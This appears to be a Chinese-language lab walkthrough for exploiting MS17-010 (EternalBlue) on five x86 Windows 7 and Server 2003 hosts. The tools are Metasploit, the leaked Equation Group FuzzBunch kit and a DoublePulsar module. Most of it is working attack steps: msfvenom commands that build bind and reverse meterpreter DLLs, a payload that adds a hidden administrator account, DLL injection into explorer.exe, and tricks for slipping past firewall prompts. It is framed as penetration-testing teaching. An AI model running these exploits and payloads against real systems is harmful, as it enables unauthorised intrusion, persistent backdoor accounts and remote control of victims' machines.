前言:
此次共涉及5个不同版本的x86架构的主机:
Windows 7 家庭高级版6.1(7600)- -- 192.168.50.165
Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38
Windows 7 企业版6.1(7600)--- 192.168.50.188
WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199
Windows 7 家庭版6.1(7601) --- 192.168.50.76
众所周知,msfconsole是一款神器的工具,里面具备了市面上绝大多数的payload,而在往常的ms17010漏洞最常见的四个payload如下:
漏洞检测payload:
auxiliary/scanner/smb/smb_ms17_010
x64架构漏洞利用payload:
exploit/windows/smb/ms17_010_eternalblue
x86架构漏洞利用payload:
exploit/windows/smb/ms17_010_psexec
x86/x64架构漏洞探测payload:
auxiliary/admin/smb/ms17_010_command
以上payload为msfconsole自带的脚本,但是某些时候这几种payload都不是很适用的时候,可能就需要我们去另辟蹊径了,所以今天笔者为大家带来了几种好用的解决方案,本次环境均为本地搭建,仅作为实验教学使用
0x01 Windows 7 家庭高级版6.1(7600)- -- 192.168.50.165
首先我们看一下第一台试验目标的systeminfo信息
我们可以先利用auxiliary/scanner/smb/smb_ms17_010 进行探测
可以确定,ms17010是存在的,接着我们尝试一下msfconsole的exploit/windows/smb/ms17_010_eternalblue
此时提示,由于该模块的payload仅仅适用于x64架构,所以无法进行攻击,那么我们可以尝试下下一个
可以看见,攻击失败了,我们尝试下一个
auxiliary/admin/smb/ms17_010_command
依然是失败,那么此时,漏洞明确存在的情况下,我们应该如何对目标系统进行测试?
这里介绍一款工具,该工具为影子经纪人在2017年放出来的方程式工具,目前该工具依然可以从github下载,需要提到的是,adb123表哥也做了一个图形化的工具
链接: https://github.com/abc123info/EquationToolsGUI
这里先不使用图形化工具,最后会用图形化工具,这里首先使用原版的工具进行演示
该工具需要在x86架构的机器使用,并且需要安装2.6.6版本的python以及pywin32-221.win32-py2.6 ,安装教程请自行百度
方程式利用方法:
fb.py
use Smbtouch
set TargetIp 192.168.50.165
execute
Smbtouch模块为漏洞检测模块,可以看到,成功的检测出了永恒之蓝漏洞;接着直接进行漏洞利用
use Eternalblue
一路默认即可,如果发现targetip不对,可以set一下
而后进行dou模块,该模块是用来下攻击脚本的
use Doublepulsar
前面都是默认,需要注意的是,在Function这里的时候,需要选择RunDLL选项,Eternalblue漏洞模块不需要下shellcode.bin后门
该工具不能直接获取shell,所以需要其他的shell加载器对shell进行加载,同时,该工具漏洞利用方式为dll注入,所以需要注意系统的架构以及注入的进程,经过测试,若是windows7系统x86架构,注入lsass.exe的话,主机会在1分钟后重启,导致shell不上线或者丢失,正向连接马子在方程式工具中,是可以开启目标机器监听端口,但是会被rundll32.exe检测到,防火墙会进行拦截,导致即使开放了监听端口而无法上线的情况;
我们首先看一下正向连接小马,至于为什么用正向,因为在内网环境了,有的时候客户的机器是不出网的,如果使用反向小马,是不能shell回连到我们外边的机器的。
使用正向payload设置x86.dll 小马
msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll
将生成的x86.dll文件移动到方程式攻击的设备上,而后设置好上传dll的路径
同时,msf开启监听
而后目标设备就要重启了,同时dll注入成功,端口1003被开放
可以看见,虽然端口开放了,但是并没有上线,因为防火墙给拦住了,后续大家可以看到为什么会被拦截
换一个打法
msfvenom -p windows/exec CMD='cmd.exe /k "net user admin01 123456 /add && net localgroup administrators admin01 /add"' EXITFUNC=none -f dll > /tmp/x86_xxx.dll
这个payload的目的是创建用户,这样即使是上不了线,但是可以创建用户,或者执行其他命令,这里创建用户是因为简单,大家在实际应用当中很有可能会遇到3389没有开放的情况,这个时候就需要替换命令,或者是利用创建的新用户,通过smb协议去弹计划任务上线,或者利用impacket工具上线
攻击之前
攻击之后
可以看到,即便计算机重启了,但是用户依然创建成功了,所以大家在工作的时候要慎用,以免影响客户正常业务
如果我们将注入的进行修改为explorer.exe呢
此时并没有达到上线目的,别急,清先往下看
kali上线
kali安装wine32
apt-get install wine32
报错了就执行下一个
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
检测安装状态:
wine --version
wine cmd.exe
下载专用攻击模块
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
下载下来之后解压,并执行如下命令
cd Eternalblue-Doublepulsar-Metasploit/
将下载的模块导入到msf的文件夹
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
确保deps目录不能空,一会要用
msfconsole
search eternalblue
use 0
set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set PROCESSINJECT explorer.exe
set TARGETARCHITECTURE x86
set rhost 192.168.50.165
run
这里其实就是防火墙拦截了,如果不允许,端口会开放成功,但是kali却怎么也连不上
同意之后,才可以连接shell,
有可能第一次run会失败,目标机器可能会弹explorer.exe信息,不用理会,重新run就行
至此,第一台结束,我们看一下第二台
0x02 Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38
其实这台机器和第一台几乎没有任何区别,只不过多了几个补丁,这里用他的目的是为了演示,如果我们拒绝了rundll32.exe的网络请求,会怎么样
这里我们可以继续利用kali,然后假设我们不允许rundll32.exe,点击取消按钮,我们此时发现,端口依然会开放10001,但是kali死活连接不上去
但是如果此时,将payload改回反向连接
set payload windows/meterpreter/reverse_tcp
run
由于第一台与第二台没啥区别,仅仅是为了演示如何不触发弹窗上线,所以不演示fb工具
0x03 Windows 7 企业版6.1(7600)--- 192.168.50.188
首先使用fb工具(方程式工具)进行攻击,但是我们发现,无论怎么打都是失败
而后利用msf工具的dou模块进行攻击,方式与第一台步骤是一样的
正向连接,一样会导致目标机器弹窗,我们直接关闭即可,不给他权限
而后是msf反向打,反向打是不会告警的,上线成功
该机器演示的目的,是为了告诉大家,方程式工具只能检测到ms17010漏洞,但是无法攻击成功的时候,我们可以利用我们第一个方法来拿到shell,由此可见,msfconsole攻击模块似乎更加好用
0x04 WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199
该机器与win7 x86明显有差异,1-3实验,Doublepulsar模块都可以利用成功,但是针对这台windows server 2003而言,却攻击失败了
但是此环境方程式工具却可以利用成功
此时永恒之蓝就不好使了,上其他的科技与狠活
use Doublepulsar
生成shellcode.bin后门
前面所有的都是默认的
然后选择0,OutputInstall ,并设置路径,这里路径设置成 c:\temp\shellcode.bin
执行成功后,会在该路径下成功一个shellcode.bin文件,该文件为后门文件
use ETERNALROMANCE
该模块是用来进行漏洞利用,将生成的shellcode.bin文件打到目标系统里
只需要填写shellcode.bin文件的位置即可
其余的通通默认即可
use Doublepulsar
攻击
这里填写生成的正向连接的x86.dll文件路径,这个文件与上文的都是同一个
msf上线
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 1003
set rhost 192.168.50.199
run
我们可以发现,这里使用正向连接,目标机器不会触发告警,防火墙不会拦截,直接上线,且不需要修改explorer.exe注入进程,设备也不会重启、蓝屏
该实验可以用kali的另一种玩法
search ms17
use 1
set payload payload windows/meterpreter/bind_tcp
set rhost 192.168.50.199
run
最高权限
0x05 Windows 7 家庭版6.1(7601) --- 192.168.50.76
没有发现17010相关漏洞
最后针对windows server 2003 sp2 x86的实验目标,演示一下abc123表哥的神器,解放双手
使用正向payload设置x86.dll 小马
msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll
使用msfconsole正向监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 1003
set rhost 192.168.50.205
run
将生成的x86.dll文件存放在图形化工具的根目录下,并将原有的x86.dll重命名
先点击生成bin,而后点击漏洞利用,最后点击dll注入
攻击成功后,发现msf上线